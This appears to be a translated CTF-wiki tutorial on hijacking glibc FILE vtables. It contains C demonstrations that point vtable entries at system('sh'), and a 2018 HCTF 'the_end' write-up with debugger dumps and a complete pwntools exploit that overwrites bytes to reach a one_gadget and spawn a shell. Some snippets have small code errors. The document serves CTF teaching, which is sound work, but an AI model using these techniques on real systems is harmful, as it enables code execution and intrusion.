假造vtable hijack program flow¶
Introduction¶
Earlier we introduced the file stream feature (FILE) in Linux. We can see that some common IO operation functions in Linux need to be processed through the FILE structure. In particular, there is a vtable in the _IO_FILE_plus structure, and some functions will fetch the pointers in the vtable for calling.
Therefore, the central idea of the fake vtable hijacking process is to implement the vtable of _IO_FILE_plus by pointing the vtable to the memory we control and placing the function pointer in it.
Therefore, vtable hijacking is divided into two types. One is to directly rewrite the function pointer in the vtable, which can be realized by writing at any address. The other is to overwrite the vtable pointer to the memory we control, and then arrange the function pointer in it.
Practice¶
Here is a demonstration of the pointer in the vtable, first need to know where _IO_FILE_plus is located, in the case of fopen is located in the heap memory, for stdin\stdout\stderr is located in libc.so.
int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable
vtable_ptr[7]=0x41414141 //xsputn
printf("call 0x41414141");
}
The address of the vtable is obtained according to the offset of the vtable at _IO_FILE_plus, and the offset is 0xd8 under the 64-bit system. After that, you need to find out which function in the vtable is called by the IO function to be hijacked. About the IO function call vtable has been given in the FILE structure introduction section, know that printf will call xsputn in the vtable, and xsputn is the eighth item in the vtable can be written to this pointer for hijacking.
And when the vtable function such as xsputn is called, the first parameter passed in is actually the corresponding IO_FILE_plus address. For example, this example calls printf, and the first parameter passed to the vtable is the address of _IO_2_1_stdout.
Use this to pass arguments to the hijacked vtable function, such as
#define system_ptr 0x7ffff7a52390;
int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable
memcopy(fp,"sh",3);
vtable_ptr [7] = system_ptr // xsputn
fwrite("hi",2,1,fp);
}
However, under the current libc2.23 version, the vtable located in the libc data segment cannot be written. However, it can still be exploited by forging vtables in controllable memory.
#define system_ptr 0x7ffff7a52390;
int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;
fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);
vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset
vtable_addr[0]=(long long)fake_vtable;
memcpy(fp,"sh",3);
fake_vtable[7]=system_ptr; //xsputn
fwrite("hi",2,1,fp);
}
We first allocate a memory to store the fake vtable, then modify the _IO_FILE_plus vtable pointer to point to this memory. Because the pointer in the vtable we are placing the address of the system function, we need to pass the parameter "/bin/sh" or "sh".
Because the function in the vtable will call the corresponding _IO_FILE_plus pointer as the first parameter, so here we write "sh" to the _IO_FILE_plus header. Subsequent calls to fwrite will execute system("sh") via our fake vtable.
Similarly, if _IO_FILE created by fopen and other functions does not exist in the program, you can also select _IO_FILE located in libc.so such as stdin\stdout\stderr. These streams will be used in functions such as printf\scanf. Prior to libc2.23, these vtables were writable and there were no other tests.
print & _IO_2_1_stdin_
$ 2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
2018 HCTF the_end¶
[Topic link] (https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/io-file/2018_hctf_the_end/)
Basic Information¶
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
Analyze the problem, using the point is very clear in the main function, and:
- In addition to canary protection
- libc base address and libc version
- Ability to write 5 bytes anywhere
Ideas:¶
- Utilizing the program to call
exit
, it will traverse_IO_list_all
and call the_setbuf
function invatable
under_IO_2_1_stdout_
. - You can modify two bytes to forge a
fake_vtable
near the currentvtable
and then use 3 bytes to modify the contents of_setbuf
infake_vtable
toone_gadget
.
We first debug to find the offset of _IO_2_1_stdout_
and libc. The stupid thing here is that I originally searched for related symbols in gdb, but in fact the address found is the location of the symbol _IO_2_1_stdout_
, not its The location on the libc data segment, we use the ida or libcsearch tool to find the vtables
offset 0x3C56F8
as follows:
.data:00000000003C56F8 dq offset _IO_file_jumps // vtables
.data:00000000003C5700 public stderr
.data:00000000003C5700 stderr dq offset _IO_2_1_stderr_
.data:00000000003C5700 ; DATA XREF: LOAD:000000000000BAF0↑o
.data:00000000003C5700 ; fclose+F2↑r ...
.data:00000000003C5708 public stdout
.data:00000000003C5708 stdout dq offset _IO_2_1_stdout_
.data:00000000003C5708 ; DATA XREF: LOAD:0000000000009F48↑o
.data:00000000003C5708 ; fclose+E9↑r ...
.data:00000000003C5710 public stdin
.data:00000000003C5710 stdin dq offset _IO_2_1_stdin_
.data:00000000003C5710 ; DATA XREF: LOAD:0000000000006DF8↑o
.data:00000000003C5710 ; fclose:loc_6D340↑r ...
.data:00000000003C5718 dq offset sub_20B70
.data:00000000003C5718 _data ends
.data:00000000003C5718
.bss:00000000003C5720 ; ===========================================================================
Let's look at the contents of the virtual table:
pwndbg> x /30gx 0x7f41d9c026f8
0x7f41d9c026f8 <_IO_2_1_stdout_ + 216>: 0x00007f41d9c006e0 0x00007f41d9c02540
0x7f41d9c02708 <stdout>: 0x00007f41d9c02620 0x00007f41d9c018e0
0x7f41d9c02718 <DW.ref.__gcc_personality_v0>: 0x00007f41d985db70 0x0000000000000000
0x7f41d9c02728 <string_space>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02738 <__ printf_va_arg_table>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02748 <transitions>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02758 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02768 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02778 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02788 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02798 <getttyname_name>: 0x0000000000000000 0x0000000000000000
0x7f41d9c027a8 <fcvt_bufptr>: 0x0000000000000000 0x0000000000000000
0x7f41d9c027b8 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c027c8 <buffer>: 0x0000000000000000 0x0000000000000000
0x7f41d9c027d8 <buffer>: 0x0000000000000000 0x0000000000000000
Then at this time look for a fake_vtable
near the virtual table, the following conditions must be met:
-
fake_vtable_addr
+ 0x58 =libc_base
+off_set_3
-
where 0x58 is checked according to the table below is the offset of
set_buf
in the virtual table
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // target location
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
I chose the following address as fake_vtable
here:
pwndbg> x /60gx 0x7f41d9c02500
0x7f41d9c02500 <_nl_global_locale+224>: 0x00007f41d99cb997 0x0000000000000000
0x7f41d9c02510: 0x0000000000000000 0x0000000000000000
0x7f41d9c02520 <_IO_list_all>: 0x00007f41d9c02540 0x0000000000000000
0x7f41d9c02530: 0x0000000000000000 0x0000000000000000
0x7f41d9c02540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000
0x7f41d9c02550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7f41d9c025a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f41d9c02620
0x7f41d9c025b0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
0x7f41d9c025c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007f41d9c03770
0x7f41d9c025d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f41d9c025e0 <_IO_2_1_stderr_+160>: 0x00007f41d9c01660 0x0000000000000000
0x7f41d9c025f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007f41d9c006e0
0x7f41d9c02620 <_IO_2_1_stdout_>: 0x00000000fbad2a84 0x00005582e351c010
0x7f41d9c02630 <_IO_2_1_stdout_+16>: 0x00005582e351c010 0x00005582e351c010
0x7f41d9c02640 <_IO_2_1_stdout_+32>: 0x00005582e351c010 0x00005582e351c010
0x7f41d9c02650 <_IO_2_1_stdout_+48>: 0x00005582e351c010 0x00005582e351c010
0x7f41d9c02660 <_IO_2_1_stdout_+64>: 0x00005582e351c410 0x0000000000000000
0x7f41d9c02670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7f41d9c02680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f41d9c018e0
0x7f41d9c02690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7f41d9c026a0 <_IO_2_1_stdout_+128>: 0x0000000000000000 0x00007f41d9c03780
0x7f41d9c026b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f41d9c026c0 <_IO_2_1_stdout_+160>: 0x00007f41d9c017a0 0x0000000000000000
0x7f41d9c026d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000
0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)
pwndbg> p 0x7f41d9c025e0 -0x58
$10 = 0x7f41d9c02588
pwndbg> distance 0x7f41d9c02588 0x7f41d983d000
0x7f41d9c02588->0x7f41d983d000 is -0x3c5588 bytes (-0x78ab1 words)
pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000
0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)
The final exploit script is as follows:
from pwn import *
context.log_level="debug"
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = process('the_end')
p = remote('127.0.0.1',1234)
to = 0
if rem ==1:
p = remote('150.109.44.250',20002)
p.recvuntil('Input your token:')
p.sendline ( 'RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')
sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]
libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables = libc_base + 0x3C56F8
fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0
print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])
# gdb.attach(p)
for i in range(2):
p.send(p64(vtables+i))
p.send(p64(fake_vtable)[i])
for i in range(3):
p.send(p64(target_addr+i))
p.send(p64(one_gadget)[i])
p.sendline("exec /bin/sh 1>&0")
p.interactive()
本页面的全部内容在 CC BY-NC-SA 4.0 协议之条款下提供,附加条款亦可能应用。